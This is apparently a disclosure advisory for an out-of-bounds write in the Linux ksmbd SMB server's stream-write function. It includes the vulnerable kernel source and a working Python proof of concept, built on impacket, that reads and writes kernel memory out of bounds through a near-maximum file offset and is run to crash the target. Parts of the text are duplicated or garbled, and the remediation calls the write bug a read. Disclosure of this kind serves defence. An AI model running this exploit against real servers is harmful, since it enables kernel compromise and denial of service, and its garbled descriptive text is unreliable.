The ksmbd_vfs_stream_write function, which handles writing data to a file with extended attributes (representing ADS), contains a vulnerability that allows an attacker to write data outside the bounds of the allocated buffer.
Critical - This vulnerability can allow an attacker to This could allow them to hijack the control flow of the kernel and execute arbitrary code with kernel privilege and or a denial of serivce.
static int ksmbd_vfs_stream_write(struct ksmbd_file *fp, char *buf, loff_t *pos,
size_t count)
{
char *stream_buf = NULL, *wbuf;
struct mnt_idmap *idmap = file_mnt_idmap(fp->filp);
size_t size;
ssize_t v_len;
int err = 0;
ksmbd_debug(VFS, "write stream data pos : %llu, count : %zd\n",
*pos, count);
size = *pos + count; // (1)
if (size > XATTR_SIZE_MAX) {
size = XATTR_SIZE_MAX;
count = (*pos + count) - XATTR_SIZE_MAX;
}
v_len = ksmbd_vfs_getcasexattr(idmap,
fp->filp->f_path.dentry,
fp->stream.name,
fp->stream.size,
&stream_buf);
if (v_len < 0) {
pr_err("not found stream in xattr : %zd\n", v_len);
err = v_len;
goto out;
}
if (v_len < size) {
wbuf = kvzalloc(size, GFP_KERNEL);
if (!wbuf) {
err = -ENOMEM;
goto out;
}
if (v_len > 0)
memcpy(wbuf, stream_buf, v_len);
kvfree(stream_buf);
stream_buf = wbuf;
}
memcpy(&stream_buf[*pos], buf, count); // (2)
err = ksmbd_vfs_setxattr(idmap,
&fp->filp->f_path,
fp->stream.name,
(void *)stream_buf,
size,
0,
true);
if (err < 0)
goto out;
fp->filp->f_pos = *pos;
err = 0;
out:
kvfree(stream_buf);
return err;
}
The code should be modified to explicitly check for negative values of offset before using it as an offset. This could be a simple check like:
if (offset < 0) {
return -EINVAL;
}
This ensures that only valid, non-negative offsets are used, preventing the out-of-bounds read.
from impacket import smb3 as smb, smbconnection
from hexdump import hexdump
class BugClient:
def __init__(self, target, share, username, password, domain="", port=445):
self.target = target
self.share = share
self.username = username
self.password = password
self.domain = domain
self.port = port
self.smbClient = smbconnection.SMBConnection(
self.target, self.target, sess_port=self.port
)
self.smbClient.login(self.username, self.password, self.domain)
def leak_oob(self, file_path, how_much):
try:
# Connect to the share
tree_id = self.smbClient.connectTree(self.share)
# Open the file
file_id = self.smbClient.openFile(
tree_id, file_path, desiredAccess=smb.FILE_READ_DATA
)
# Read the file contents at offset
data = self.smbClient.readFile(
tree_id, file_id, 18446744073709551615 - how_much, how_much
)
# Close the file
self.smbClient.closeFile(tree_id, file_id)
# Disconnect from the tree
self.smbClient.disconnectTree(tree_id)
return data
except Exception as e:
print(f"Error reading file: {e}")
return None
def write_oob(self, file_path, data, how_much):
try:
# Connect to the share
tree_id = self.smbClient.connectTree(self.share)
# Open the file for writing
file_id = self.smbClient.openFile(
tree_id,
file_path,
desiredAccess=smb.GENERIC_WRITE,
creationDisposition=smb.FILE_CREATE,
)
# Write data at the specified offset
self.smbClient.writeFile(
tree_id, file_id, data, 18446744073709551615 - how_much
)
# Close the file
self.smbClient.closeFile(tree_id, file_id)
# Disconnect from the share
self.smbClient.disconnectTree(tree_id)
except Exception as e:
print(f"Error writing file: {e}")
return None
client = BugClient("127.0.0.1", "share1", "", "") # Host, share, user, pass
# Write a bunch of B's OOB - will probably give a splat (rerun if not crashing yet)
client.write_oob("/file:stream1:$data", "B" * 3002, 3000)
Summary
The ksmbd_vfs_stream_write function, which handles writing data to a file with extended attributes (representing ADS), contains a vulnerability that allows an attacker to write data outside the bounds of the allocated buffer.
Severity
Critical - This vulnerability can allow an attacker to This could allow them to hijack the control flow of the kernel and execute arbitrary code with kernel privilege and or a denial of serivce.
Analysis
Remediation
The code should be modified to explicitly check for negative values of offset before using it as an offset. This could be a simple check like:
if (offset < 0) {
return -EINVAL;
}
This ensures that only valid, non-negative offsets are used, preventing the out-of-bounds read.
Proof of Concept
Timeline
Date reported: 11/10/2024
Date fixed: 12/10/2024
Date disclosed: 01/09/2025